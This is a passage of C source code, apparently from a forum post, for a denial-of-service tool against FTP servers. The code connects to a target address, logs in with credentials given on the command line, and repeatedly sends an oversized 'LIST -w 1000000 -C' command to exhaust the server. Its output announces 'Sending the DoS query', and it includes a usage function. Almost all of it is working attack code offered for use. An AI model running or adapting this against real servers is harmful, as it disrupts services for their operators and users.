if( strlen( argv[4] ) > 20 ) exit( 0 );

sprintf( user, "USER %s\n", argv[3] );
sprintf( password, "PASS %s\n", argv[4] );

PORT = atoi( argv[2] );
loop = atoi( argv[5] );

addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
sd = socket( AF_INET, SOCK_STREAM, 0 );

  error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
if( error != 0 )
{
 perror( "Something wrong with the connection" );
 exit( 0 );
}

while ( ch != '\n' )
       {
               recv( sd, &ch, 1, 0);
               printf("%c", ch );
       }

ch = '\0';

printf( "Connection executed, now waiting to log in...\n" );

printf( "%s", user );

send( sd, user, strlen( user ), 0 );
while ( ch != '\n' )
{
 recv( sd, &ch, 1, 0);
 printf("%c", ch );
}
printf( "%s", password );

ch = '\0';

 send( sd, password, strlen( password ), 0 );
       while ( ch != '\n' )
       {
               recv( sd, &ch, 1, 0);
               printf("%c", ch );
       }

printf( "Sending the DoS query\n" );
for( i=0; i<loop; i++ )
{
 write( sd, "LIST -w 1000000 -C\n", 19 );
}
printf( "All done\n" );
close( sd );
return 0;
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
     address -> sin_family = AF_INET;
     address -> sin_port = htons((u_short)port);
     address -> sin_addr.s_addr = IPaddr;
}

void usage( char *program )
{
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
  exit(0);
}
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.